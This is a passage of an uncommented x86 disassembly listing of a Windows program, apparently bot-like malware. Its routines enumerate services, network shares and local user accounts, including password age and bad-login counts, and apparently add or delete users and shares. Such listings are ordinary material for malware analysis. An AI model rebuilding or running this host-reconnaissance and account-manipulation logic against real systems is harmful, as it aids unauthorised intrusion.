		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_43C9E4	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_412F85
		call	dword_421088	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_41303C


loc_412F85:				; CODE XREF: sub_412F13+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_413033
		lea	esi, [ebp+var_188]


loc_412F96:				; CODE XREF: sub_412F13+11Aj
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_412FE2
		dec	eax
		jz	short loc_412FDB
		dec	eax
		jz	short loc_412FD4
		dec	eax
		jz	short loc_412FCD
		dec	eax
		jz	short loc_412FC6
		dec	eax
		jz	short loc_412FBF
		dec	eax
		lea	eax, [ebp+var_20]
		jz	short loc_412FB8
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_412FEA
; ---------------------------------------------------------------------------


loc_412FB8:				; CODE XREF: sub_412F13+9Cj
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_412FEA
; ---------------------------------------------------------------------------


loc_412FBF:				; CODE XREF: sub_412F13+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_412FE7
; ---------------------------------------------------------------------------


loc_412FC6:				; CODE XREF: sub_412F13+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_412FE7
; ---------------------------------------------------------------------------


loc_412FCD:				; CODE XREF: sub_412F13+90j
		push	offset aRunning_0 ; "	 Running"
		jmp	short loc_412FE7
; ---------------------------------------------------------------------------


loc_412FD4:				; CODE XREF: sub_412F13+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_412FE7
; ---------------------------------------------------------------------------


loc_412FDB:				; CODE XREF: sub_412F13+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_412FE7
; ---------------------------------------------------------------------------


loc_412FE2:				; CODE XREF: sub_412F13+87j
		push	offset aStopped	; "    Stopped"


loc_412FE7:				; CODE XREF: sub_412F13+B1j
					; sub_412F13+B8j ...
		lea	eax, [ebp+var_20]


loc_412FEA:				; CODE XREF: sub_412F13+A3j
					; sub_412F13+AAj
		push	eax
		call	sub_415316
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_412F96


loc_413033:				; CODE XREF: sub_412F13+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_412F4B


loc_41303C:				; CODE XREF: sub_412F13+6Cj
		push	[ebp+var_C]
		call	dword_43C928	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_412F13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413053	proc near		; CODE XREF: sub_40CD3A:loc_40EC86p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_4130EC
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_41307C
		dec	eax
		jnz	short loc_4130CC
		push	edi
		push	0
		call	sub_413225
		pop	ecx
		pop	ecx
		jmp	short loc_4130C8
; ---------------------------------------------------------------------------


loc_41307C:				; CODE XREF: sub_413053+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_4130BA
		push	24h
		push	edi
		call	sub_416F20
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130BA
		push	57h
		pop	eax


loc_413093:				; CODE XREF: sub_413053+77j
		push	eax
		call	sub_4139F3
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_46B2D0
		push	off_436C98[eax*4]
		push	offset dword_4373B4
		push	esi
		call	sub_415316
		add	esp, 18h
		jmp	short loc_41310C
; ---------------------------------------------------------------------------


loc_4130BA:				; CODE XREF: sub_413053+2Dj
					; sub_413053+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_413179
		add	esp, 0Ch


loc_4130C8:				; CODE XREF: sub_413053+27j
		test	eax, eax
		jnz	short loc_413093


loc_4130CC:				; CODE XREF: sub_413053+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_46B2D0
		push	off_436C9C[eax*4]
		push	offset dword_437384
		push	esi
		call	sub_415316
		add	esp, 10h
		jmp	short loc_41310C
; ---------------------------------------------------------------------------


loc_4130EC:				; CODE XREF: sub_413053+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_46B2D0
		lea	eax, [eax+eax*2]
		push	off_436C98[eax*4]
		push	offset dword_43734C
		push	esi
		call	sub_415316
		add	esp, 0Ch


loc_41310C:				; CODE XREF: sub_413053+65j
					; sub_413053+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_413053	endp


; =============== S U B	R O U T	I N E =======================================



sub_413112	proc near		; CODE XREF: sub_414500+247p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_41311F
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41311F:				; CODE XREF: sub_413112+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_421138
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	byte_46B4D0, 1
		mov	ebp, eax
		jnz	short loc_41315C
		or	byte_46B4D0, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_416655
		pop	ecx
		mov	dword_46B268, eax


loc_41315C:				; CODE XREF: sub_413112+32j
		push	esi
		push	esi
		push	ebp
		push	dword_46B268
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, dword_46B268
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_413112	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413179	proc near		; CODE XREF: sub_413053+6Dp
					; sub_414826+18Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_4131E4
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_4131E4
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_416F20
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_4131E4
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_43C924
		pop	edi
		leave
		retn
sub_413179	endp


; =============== S U B	R O U T	I N E =======================================



sub_4131E4	proc near		; CODE XREF: sub_413179+Ap
					; sub_413179+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_4131F1
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4131F1:				; CODE XREF: sub_4131E4+9j
		push	ebx
		push	esi
		mov	esi, dword_421064
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_416655
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4131E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_413225	proc near		; CODE XREF: sub_413053+20p
					; sub_414500+1BCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_4131E4
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_4131E4
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_43C8FC
		pop	esi
		retn
sub_413225	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413248	proc near		; CODE XREF: sub_40CD3A+1F78p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_4131E4
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 18h


loc_413281:				; CODE XREF: sub_413248+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_43C970
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_4132E4
		cmp	ebx, 0EAh
		jz	short loc_4132E4
		push	ebx
		push	ebx
		call	sub_4139F3
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset dword_437414
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 24h
		jmp	short loc_413351
; ---------------------------------------------------------------------------


loc_4132E4:				; CODE XREF: sub_413248+5Dj
					; sub_413248+65j
		xor	edi, edi
		inc	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_413348
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_4132F2:				; CODE XREF: sub_413248+FCj
		push	dword ptr [esi+10h]
		call	dword_43C918	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_413309
		mov	eax, offset aNo	; "No"


loc_413309:				; CODE XREF: sub_413248+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_4132F2
		xor	esi, esi


loc_413348:				; CODE XREF: sub_413248+A2j
		push	[ebp+var_4]
		call	dword_43CAB4


loc_413351:				; CODE XREF: sub_413248+9Aj
		cmp	ebx, 0EAh
		jz	loc_413281
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_413248	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413369	proc near		; CODE XREF: sub_40CD3A:loc_40ED22p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_41340D
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_4133AB
		dec	eax
		jz	short loc_4133A0
		dec	eax
		jnz	short loc_4133C6
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_4134AF
		add	esp, 14h
		jmp	short loc_4133C2
; ---------------------------------------------------------------------------


loc_4133A0:				; CODE XREF: sub_413369+1Dj
		push	ebx
		push	edi
		call	sub_41348E
		pop	ecx
		pop	ecx
		jmp	short loc_4133C2
; ---------------------------------------------------------------------------


loc_4133AB:				; CODE XREF: sub_413369+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_4133BF
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_413434
		add	esp, 0Ch
		jmp	short loc_4133C2
; ---------------------------------------------------------------------------


loc_4133BF:				; CODE XREF: sub_413369+45j
		push	57h
		pop	eax


loc_4133C2:				; CODE XREF: sub_413369+35j
					; sub_413369+40j ...
		cmp	eax, edi
		jnz	short loc_4133E6


loc_4133C6:				; CODE XREF: sub_413369+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_46B4D8
		push	off_436C9C[eax*4]
		push	offset dword_437508
		push	esi
		call	sub_415316
		add	esp, 10h
		jmp	short loc_41342D
; ---------------------------------------------------------------------------


loc_4133E6:				; CODE XREF: sub_413369+5Bj
		push	eax
		call	sub_4139F3
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_46B4D8
		push	off_436C98[eax*4]
		push	offset dword_4374C8
		push	esi
		call	sub_415316
		add	esp, 18h
		jmp	short loc_41342D
; ---------------------------------------------------------------------------


loc_41340D:				; CODE XREF: sub_413369+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_46B4D8
		lea	eax, [eax+eax*2]
		push	off_436C98[eax*4]
		push	offset dword_437488
		push	esi
		call	sub_415316
		add	esp, 0Ch


loc_41342D:				; CODE XREF: sub_413369+7Bj
					; sub_413369+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_413369	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413434	proc near		; CODE XREF: sub_413369+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_4131E4
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_4131E4
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_4131E4
		add	esp, 0Ch
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		and	[ebp+var_8], 0
		lea	ecx, [ebp+var_4]
		mov	[ebp+var_20], eax
		xor	eax, eax
		push	ecx
		lea	ecx, [ebp+var_24]
		inc	eax
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_43C908
		pop	edi
		leave
		retn
sub_413434	endp


; =============== S U B	R O U T	I N E =======================================



sub_41348E	proc near		; CODE XREF: sub_413369+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_4131E4
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_4131E4
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_43C8F8
		pop	esi
		retn
sub_41348E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4134AF	proc near		; CODE XREF: sub_413369+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_4131E4
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_4131E4
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_43CA7C
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41383C
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_413877
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_415316
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_4135C8
		dec	eax
		jz	short loc_4135C1
		dec	eax
		jz	short loc_4135BA
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_4135CD
; ---------------------------------------------------------------------------


loc_4135BA:				; CODE XREF: sub_4134AF+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_4135CD
; ---------------------------------------------------------------------------


loc_4135C1:				; CODE XREF: sub_4134AF+FFj
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_4135CD
; ---------------------------------------------------------------------------


loc_4135C8:				; CODE XREF: sub_4134AF+FCj
		mov	eax, offset aGuest ; "Guest"


loc_4135CD:				; CODE XREF: sub_4134AF+109j
					; sub_4134AF+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_413868
; ---------------------------------------------------------------------------


loc_41383C:				; CODE XREF: sub_4134AF+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_43753C
		push	eax
		call	sub_415316
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_412BD1
		add	esp, 20h


loc_413868:				; CODE XREF: sub_4134AF+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_413877
		push	[ebp+var_4]
		call	dword_43CAB4


loc_413877:				; CODE XREF: sub_4134AF+40j
					; sub_4134AF+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_4134AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41387D	proc near		; CODE XREF: sub_40CD3A+2014p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_4131E4
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 18h


loc_4138BC:				; CODE XREF: sub_41387D+12Bj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_43C98C
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_41391D
		cmp	eax, 0EAh
		jz	short loc_41391D
		push	eax
		push	eax
		call	sub_4139F3
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset dword_437734
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 24h
		jmp	short loc_41398E
; ---------------------------------------------------------------------------


loc_41391D:				; CODE XREF: sub_41387D+62j
					; sub_41387D+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_4139A1
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_41398E


loc_41392B:				; CODE XREF: sub_41387D+E9j
		cmp	edi, esi
		lea	eax, [ebp+var_218]
		jz	short loc_41396A
		push	dword ptr [edi]
		push	offset aS_5	; "  %S"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41392B
		jmp	short loc_41398E
; ---------------------------------------------------------------------------


loc_41396A:				; CODE XREF: sub_41387D+B6j
		push	offset dword_4376EC
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 1Ch


loc_41398E:				; CODE XREF: sub_41387D+9Ej
					; sub_41387D+ACj ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_4139A1
		push	edi
		call	dword_43CAB4
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_4139A1:				; CODE XREF: sub_41387D+A5j
					; sub_41387D+116j
		cmp	[ebp+var_C], 0EAh
		jz	loc_4138BC
		cmp	edi, esi
		jz	short loc_4139B9
		push	edi
		call	dword_43CAB4


loc_4139B9:				; CODE XREF: sub_41387D+133j
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_41387D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4139F3	proc near		; CODE XREF: sub_413053+41p
					; sub_413248+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_413AA5
		jz	loc_413A9E
		cmp	eax, 7Bh
		ja	short loc_413A6A
		jz	short loc_413A60
		cmp	eax, 5
		jz	short loc_413A56
		cmp	eax, 8
		jz	short loc_413A4C
		cmp	eax, 32h
		jz	short loc_413A42
		cmp	eax, 35h
		jz	short loc_413A38
		cmp	eax, 57h
		jnz	loc_413AF4
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_413B15
